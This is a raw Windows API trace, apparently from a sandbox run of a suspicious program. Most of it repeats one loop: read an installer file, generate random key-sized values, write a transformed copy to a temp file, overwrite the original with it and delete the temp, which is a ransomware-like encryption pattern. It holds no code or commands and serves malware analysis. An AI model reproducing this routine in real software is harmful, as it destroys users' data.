	[0237.140] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\48bf23a39ca55cdc32452b75085d367f" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\48bf23a39ca55cdc32452b75085d367f")) returned 0
	[0237.140] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\48bf23a39ca55cdc32452b75085d367f" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\48bf23a39ca55cdc32452b75085d367f")) returned 0x20
	[0237.140] CloseHandle (hObject=0x19c) returned 1
	[0237.141] CloseHandle (hObject=0x198) returned 1
	[0237.141] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\48bf23a39ca55cdc32452b75085d367f" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\48bf23a39ca55cdc32452b75085d367f")) returned 1
	[0237.171] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0xc00019dd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00019dd94, lpOverlapped=0x0) returned 0
	[0237.171] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc00019dd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00019dd94, lpOverlapped=0x0) returned 0
	[0237.172] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x198
	[0237.172] GetConsoleMode (in: hConsoleHandle=0x198, lpMode=0xc00019dbf4 | out: lpMode=0xc00019dbf4) returned 0
	[0237.172] GetFileType (hFile=0x198) returned 0x1
	[0237.172] VirtualAlloc (lpAddress=0xc000332000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000332000
	[0237.173] GetFileType (hFile=0x198) returned 0x1
	[0237.173] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0xc00019dc44 | out: lpFileInformation=0xc00019dc44) returned 1
	[0237.173] GetFileInformationByHandleEx (in: hFile=0x198, FileInformationClass=0x9, lpFileInformation=0xc00019dc28, dwBufferSize=0x8 | out: lpFileInformation=0xc00019dc28) returned 1
	[0237.173] VirtualAlloc (lpAddress=0xc000334000, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000334000
	[0237.175] ReadFile (in: hFile=0x198, lpBuffer=0xc000334000, nNumberOfBytesToRead=0x1213, lpNumberOfBytesRead=0xc00019db04, lpOverlapped=0x0 | out: lpBuffer=0xc000334000*, lpNumberOfBytesRead=0xc00019db04*=0x1013, lpOverlapped=0x0) returned 1
	[0237.178] ReadFile (in: hFile=0x198, lpBuffer=0xc000335013, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc00019db04, lpOverlapped=0x0 | out: lpBuffer=0xc000335013*, lpNumberOfBytesRead=0xc00019db04*=0x0, lpOverlapped=0x0) returned 1
	[0237.178] CloseHandle (hObject=0x198) returned 1
	[0237.179] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000093de0 | out: pbBuffer=0xc000093de0) returned 1
	[0237.179] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc0000958b0 | out: pbBuffer=0xc0000958b0) returned 1
	[0237.179] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000083501 | out: pbBuffer=0xc000083501) returned 1
	[0237.179] VirtualAlloc (lpAddress=0xc00033a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00033a000
	[0237.180] VirtualAlloc (lpAddress=0xc00033c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00033c000
	[0237.181] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\3862b319de414f209239e046ec428d81" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\3862b319de414f209239e046ec428d81"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198
	[0237.396] GetConsoleMode (in: hConsoleHandle=0x198, lpMode=0xc00019dc04 | out: lpMode=0xc00019dc04) returned 0
	[0237.397] GetFileType (hFile=0x198) returned 0x1
	[0237.397] WriteFile (in: hFile=0x198, lpBuffer=0xc000335300*, nNumberOfBytesToWrite=0x1113, lpNumberOfBytesWritten=0xc00019dbec, lpOverlapped=0x0 | out: lpBuffer=0xc000335300*, lpNumberOfBytesWritten=0xc00019dbec*=0x1113, lpOverlapped=0x0) returned 1
	[0237.399] CloseHandle (hObject=0x198) returned 1
	[0237.432] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198
	[0237.434] GetConsoleMode (in: hConsoleHandle=0x198, lpMode=0xc00019dd74 | out: lpMode=0xc00019dd74) returned 0
	[0237.434] GetFileType (hFile=0x198) returned 0x1
	[0237.434] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\3862b319de414f209239e046ec428d81" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\3862b319de414f209239e046ec428d81"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x19c
	[0237.435] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc00019dd74 | out: lpMode=0xc00019dd74) returned 0
	[0237.435] GetFileType (hFile=0x19c) returned 0x1
	[0237.435] VirtualAlloc (lpAddress=0xc0003ae000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003ae000
	[0237.435] ReadFile (in: hFile=0x19c, lpBuffer=0xc0003ae000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc00019dbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0003ae000*, lpNumberOfBytesRead=0xc00019dbd4*=0x1113, lpOverlapped=0x0) returned 1
	[0237.436] WriteFile (in: hFile=0x198, lpBuffer=0xc0003ae000*, nNumberOfBytesToWrite=0x1113, lpNumberOfBytesWritten=0xc00019db74, lpOverlapped=0x0 | out: lpBuffer=0xc0003ae000*, lpNumberOfBytesWritten=0xc00019db74*=0x1113, lpOverlapped=0x0) returned 1
	[0237.441] ReadFile (in: hFile=0x19c, lpBuffer=0xc0003ae000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc00019dbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0003ae000*, lpNumberOfBytesRead=0xc00019dbd4*=0x0, lpOverlapped=0x0) returned 1
	[0237.441] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\3862b319de414f209239e046ec428d81" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\3862b319de414f209239e046ec428d81")) returned 0
	[0237.442] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\3862b319de414f209239e046ec428d81" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\3862b319de414f209239e046ec428d81")) returned 0
	[0237.442] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\3862b319de414f209239e046ec428d81" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\3862b319de414f209239e046ec428d81")) returned 0x20
	[0237.442] CloseHandle (hObject=0x19c) returned 1
	[0237.442] CloseHandle (hObject=0x198) returned 1
	[0237.443] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\3862b319de414f209239e046ec428d81" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\3862b319de414f209239e046ec428d81")) returned 1
	[0237.500] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0xc00019dd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00019dd94, lpOverlapped=0x0) returned 0
	[0237.500] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc00019dd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00019dd94, lpOverlapped=0x0) returned 0
	[0237.500] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x198
	[0237.500] GetConsoleMode (in: hConsoleHandle=0x198, lpMode=0xc00019dbf4 | out: lpMode=0xc00019dbf4) returned 0
	[0237.500] GetFileType (hFile=0x198) returned 0x1
	[0237.500] GetFileType (hFile=0x198) returned 0x1
	[0237.501] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0xc00019dc44 | out: lpFileInformation=0xc00019dc44) returned 1
	[0237.501] GetFileInformationByHandleEx (in: hFile=0x198, FileInformationClass=0x9, lpFileInformation=0xc00019dc28, dwBufferSize=0x8 | out: lpFileInformation=0xc00019dc28) returned 1
	[0237.501] VirtualAlloc (lpAddress=0xc0003b8000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003b8000
	[0237.501] ReadFile (in: hFile=0x198, lpBuffer=0xc0003b8000, nNumberOfBytesToRead=0xefd, lpNumberOfBytesRead=0xc00019db04, lpOverlapped=0x0 | out: lpBuffer=0xc0003b8000*, lpNumberOfBytesRead=0xc00019db04*=0xcfd, lpOverlapped=0x0) returned 1
	[0237.508] ReadFile (in: hFile=0x198, lpBuffer=0xc0003b8cfd, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc00019db04, lpOverlapped=0x0 | out: lpBuffer=0xc0003b8cfd*, lpNumberOfBytesRead=0xc00019db04*=0x0, lpOverlapped=0x0) returned 1
	[0237.508] CloseHandle (hObject=0x198) returned 1
	[0237.509] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc00028eb00 | out: pbBuffer=0xc00028eb00) returned 1
	[0237.509] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc00028c830 | out: pbBuffer=0xc00028c830) returned 1
	[0237.509] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc0002a8901 | out: pbBuffer=0xc0002a8901) returned 1
	[0237.509] VirtualAlloc (lpAddress=0xc0003ba000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003ba000
	[0237.510] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\bb16a64e61da8383d0bd774925ca7372" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\bb16a64e61da8383d0bd774925ca7372"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198
	[0237.775] GetConsoleMode (in: hConsoleHandle=0x198, lpMode=0xc00019dc04 | out: lpMode=0xc00019dc04) returned 0
	[0237.775] GetFileType (hFile=0x198) returned 0x1
	[0237.775] WriteFile (in: hFile=0x198, lpBuffer=0xc0003b9000*, nNumberOfBytesToWrite=0xdfd, lpNumberOfBytesWritten=0xc00019dbec, lpOverlapped=0x0 | out: lpBuffer=0xc0003b9000*, lpNumberOfBytesWritten=0xc00019dbec*=0xdfd, lpOverlapped=0x0) returned 1
	[0237.777] CloseHandle (hObject=0x198) returned 1
	[0237.847] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198
	[0237.849] GetConsoleMode (in: hConsoleHandle=0x198, lpMode=0xc00019dd74 | out: lpMode=0xc00019dd74) returned 0
	[0237.849] GetFileType (hFile=0x198) returned 0x1
	[0237.849] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\bb16a64e61da8383d0bd774925ca7372" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\bb16a64e61da8383d0bd774925ca7372"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x19c
	[0237.849] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc00019dd74 | out: lpMode=0xc00019dd74) returned 0
	[0237.850] GetFileType (hFile=0x19c) returned 0x1
	[0237.850] VirtualAlloc (lpAddress=0xc00036e000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00036e000
	[0237.851] ReadFile (in: hFile=0x19c, lpBuffer=0xc00036e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc00019dbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00036e000*, lpNumberOfBytesRead=0xc00019dbd4*=0xdfd, lpOverlapped=0x0) returned 1
	[0237.852] WriteFile (in: hFile=0x198, lpBuffer=0xc00036e000*, nNumberOfBytesToWrite=0xdfd, lpNumberOfBytesWritten=0xc00019db74, lpOverlapped=0x0 | out: lpBuffer=0xc00036e000*, lpNumberOfBytesWritten=0xc00019db74*=0xdfd, lpOverlapped=0x0) returned 1
	[0237.853] ReadFile (in: hFile=0x19c, lpBuffer=0xc00036e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc00019dbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00036e000*, lpNumberOfBytesRead=0xc00019dbd4*=0x0, lpOverlapped=0x0) returned 1
	[0237.853] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\bb16a64e61da8383d0bd774925ca7372" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\bb16a64e61da8383d0bd774925ca7372")) returned 0
	[0237.854] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\bb16a64e61da8383d0bd774925ca7372" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\bb16a64e61da8383d0bd774925ca7372")) returned 0
	[0237.854] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\bb16a64e61da8383d0bd774925ca7372" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\bb16a64e61da8383d0bd774925ca7372")) returned 0x20
	[0237.854] CloseHandle (hObject=0x19c) returned 1
	[0237.854] CloseHandle (hObject=0x198) returned 1
	[0237.855] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\bb16a64e61da8383d0bd774925ca7372" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\bb16a64e61da8383d0bd774925ca7372")) returned 1
	[0237.911] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0237.938] SetEvent (hEvent=0x188) returned 1
	[0237.938] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x35, lpNumberOfBytesWritten=0xc0001a9d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001a9d94, lpOverlapped=0x0) returned 0
	[0237.938] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x87, lpNumberOfBytesWritten=0xc0001a9d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001a9d94, lpOverlapped=0x0) returned 0
	[0237.938] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x19c
	[0237.938] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc0001a9bf4 | out: lpMode=0xc0001a9bf4) returned 0
	[0237.938] GetFileType (hFile=0x19c) returned 0x1
	[0237.939] GetFileType (hFile=0x19c) returned 0x1
	[0237.939] GetFileInformationByHandle (in: hFile=0x19c, lpFileInformation=0xc0001a9c44 | out: lpFileInformation=0xc0001a9c44) returned 1
	[0237.939] GetFileInformationByHandleEx (in: hFile=0x19c, FileInformationClass=0x9, lpFileInformation=0xc0001a9c28, dwBufferSize=0x8 | out: lpFileInformation=0xc0001a9c28) returned 1
	[0237.940] VirtualAlloc (lpAddress=0xc00040a000, dwSize=0xc000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00040a000
	[0237.941] ReadFile (in: hFile=0x19c, lpBuffer=0xc00040a000, nNumberOfBytesToRead=0xa378, lpNumberOfBytesRead=0xc0001a9b04, lpOverlapped=0x0 | out: lpBuffer=0xc00040a000*, lpNumberOfBytesRead=0xc0001a9b04*=0xa178, lpOverlapped=0x0) returned 1
	[0237.947] ReadFile (in: hFile=0x19c, lpBuffer=0xc000414178, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0001a9b04, lpOverlapped=0x0 | out: lpBuffer=0xc000414178*, lpNumberOfBytesRead=0xc0001a9b04*=0x0, lpOverlapped=0x0) returned 1
	[0237.947] CloseHandle (hObject=0x19c) returned 1
	[0237.948] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc00000fa20 | out: pbBuffer=0xc00000fa20) returned 1
	[0237.948] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc000010c90 | out: pbBuffer=0xc000010c90) returned 1
	[0237.948] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000001601 | out: pbBuffer=0xc000001601) returned 1
	[0237.948] VirtualAlloc (lpAddress=0xc000416000, dwSize=0xc000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000416000
	[0237.952] VirtualAlloc (lpAddress=0xc000422000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000422000
	[0237.952] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\3a14861a700433461de8ccfc233b5088" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\3a14861a700433461de8ccfc233b5088"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c
	[0237.955] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc0001a9c04 | out: lpMode=0xc0001a9c04) returned 0
	[0237.955] GetFileType (hFile=0x19c) returned 0x1
	[0237.955] WriteFile (in: hFile=0x19c, lpBuffer=0xc000416000*, nNumberOfBytesToWrite=0xa278, lpNumberOfBytesWritten=0xc0001a9bec, lpOverlapped=0x0 | out: lpBuffer=0xc000416000*, lpNumberOfBytesWritten=0xc0001a9bec*=0xa278, lpOverlapped=0x0) returned 1
	[0237.959] CloseHandle (hObject=0x19c) returned 1
	[0237.963] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c
	[0237.983] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc0001a9d74 | out: lpMode=0xc0001a9d74) returned 0
	[0237.983] GetFileType (hFile=0x19c) returned 0x1
	[0237.983] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\3a14861a700433461de8ccfc233b5088" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\3a14861a700433461de8ccfc233b5088"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x198
	[0237.983] GetConsoleMode (in: hConsoleHandle=0x198, lpMode=0xc0001a9d74 | out: lpMode=0xc0001a9d74) returned 0
	[0237.983] GetFileType (hFile=0x198) returned 0x1
	[0237.983] VirtualAlloc (lpAddress=0xc000480000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000480000
	[0237.984] ReadFile (in: hFile=0x198, lpBuffer=0xc000480000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001a9bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000480000*, lpNumberOfBytesRead=0xc0001a9bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0237.985] WriteFile (in: hFile=0x19c, lpBuffer=0xc000480000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001a9b74, lpOverlapped=0x0 | out: lpBuffer=0xc000480000*, lpNumberOfBytesWritten=0xc0001a9b74*=0x8000, lpOverlapped=0x0) returned 1
	[0237.989] ReadFile (in: hFile=0x198, lpBuffer=0xc000480000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001a9bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000480000*, lpNumberOfBytesRead=0xc0001a9bd4*=0x2278, lpOverlapped=0x0) returned 1
	[0237.989] WriteFile (in: hFile=0x19c, lpBuffer=0xc000480000*, nNumberOfBytesToWrite=0x2278, lpNumberOfBytesWritten=0xc0001a9b74, lpOverlapped=0x0 | out: lpBuffer=0xc000480000*, lpNumberOfBytesWritten=0xc0001a9b74*=0x2278, lpOverlapped=0x0) returned 1
	[0237.990] ReadFile (in: hFile=0x198, lpBuffer=0xc000480000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001a9bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000480000*, lpNumberOfBytesRead=0xc0001a9bd4*=0x0, lpOverlapped=0x0) returned 1
	[0237.990] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\3a14861a700433461de8ccfc233b5088" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\3a14861a700433461de8ccfc233b5088")) returned 0
	[0237.990] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\3a14861a700433461de8ccfc233b5088" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\3a14861a700433461de8ccfc233b5088")) returned 0
	[0237.990] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\3a14861a700433461de8ccfc233b5088" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\3a14861a700433461de8ccfc233b5088")) returned 0x20
	[0237.990] CloseHandle (hObject=0x198) returned 1
	[0237.991] CloseHandle (hObject=0x19c) returned 1
	[0238.001] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\3a14861a700433461de8ccfc233b5088" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\3a14861a700433461de8ccfc233b5088")) returned 1
	[0238.004] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0238.022] SetEvent (hEvent=0x188) returned 1
	[0238.022] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x2f, lpNumberOfBytesWritten=0xc000199d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000199d94, lpOverlapped=0x0) returned 0
	[0238.022] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x81, lpNumberOfBytesWritten=0xc000199d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000199d94, lpOverlapped=0x0) returned 0
	[0238.023] VirtualAlloc (lpAddress=0xc000424000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000424000
	[0238.024] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x19c
	[0238.024] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc000199bf4 | out: lpMode=0xc000199bf4) returned 0
	[0238.024] GetFileType (hFile=0x19c) returned 0x1
	[0238.024] GetFileType (hFile=0x19c) returned 0x1
	[0238.024] GetFileInformationByHandle (in: hFile=0x19c, lpFileInformation=0xc000199c44 | out: lpFileInformation=0xc000199c44) returned 1
	[0238.024] GetFileInformationByHandleEx (in: hFile=0x19c, FileInformationClass=0x9, lpFileInformation=0xc000199c28, dwBufferSize=0x8 | out: lpFileInformation=0xc000199c28) returned 1
	[0238.025] ReadFile (in: hFile=0x19c, lpBuffer=0xc0001ed300, nNumberOfBytesToRead=0x112c, lpNumberOfBytesRead=0xc000199b04, lpOverlapped=0x0 | out: lpBuffer=0xc0001ed300*, lpNumberOfBytesRead=0xc000199b04*=0xf2c, lpOverlapped=0x0) returned 1
	[0238.069] ReadFile (in: hFile=0x19c, lpBuffer=0xc0001ee22c, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc000199b04, lpOverlapped=0x0 | out: lpBuffer=0xc0001ee22c*, lpNumberOfBytesRead=0xc000199b04*=0x0, lpOverlapped=0x0) returned 1
	[0238.069] CloseHandle (hObject=0x19c) returned 1
	[0238.070] VirtualAlloc (lpAddress=0xc000426000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000426000
	[0238.071] SetEvent (hEvent=0x188) returned 1
	[0238.071] SetEvent (hEvent=0xe4) returned 1
	[0238.071] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0238.206] SetEvent (hEvent=0x190) returned 1
	[0238.206] SetEvent (hEvent=0xe4) returned 1
	[0238.206] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0238.224] VirtualAlloc (lpAddress=0xc0003e0000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003e0000
	[0238.224] VirtualAlloc (lpAddress=0xc0003e2000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003e2000
	[0238.226] SetEvent (hEvent=0x188) returned 1
	[0238.226] SetEvent (hEvent=0xe4) returned 1
	[0238.226] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0238.230] SetEvent (hEvent=0x190) returned 1
	[0238.230] SetEvent (hEvent=0xe4) returned 1
	[0238.230] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0238.242] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70709ff368, ulCount=0x10, ulNumEntriesRemoved=0x70709ff340, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70709ff368, ulNumEntriesRemoved=0x70709ff340) returned 0
	[0238.242] SetEvent (hEvent=0x188) returned 1
	[0238.242] VirtualAlloc (lpAddress=0xc00042c000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00042c000
	[0238.247] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc00000fb60 | out: pbBuffer=0xc00000fb60) returned 1
	[0238.248] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc000010d80 | out: pbBuffer=0xc000010d80) returned 1
	[0238.248] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000001801 | out: pbBuffer=0xc000001801) returned 1
	[0238.248] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x3000, flProtect=0x4) returned 0x192ebcc0000
	[0238.249] VirtualAlloc (lpAddress=0xc000434000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000434000
	[0238.250] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\34079aeaccc120cfea15e3cf3fb1cc6d" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\34079aeaccc120cfea15e3cf3fb1cc6d"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac
	[0238.251] GetConsoleMode (in: hConsoleHandle=0x1ac, lpMode=0xc000199c04 | out: lpMode=0xc000199c04) returned 0
	[0238.251] GetFileType (hFile=0x1ac) returned 0x1
	[0238.251] VirtualAlloc (lpAddress=0xc000436000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000436000
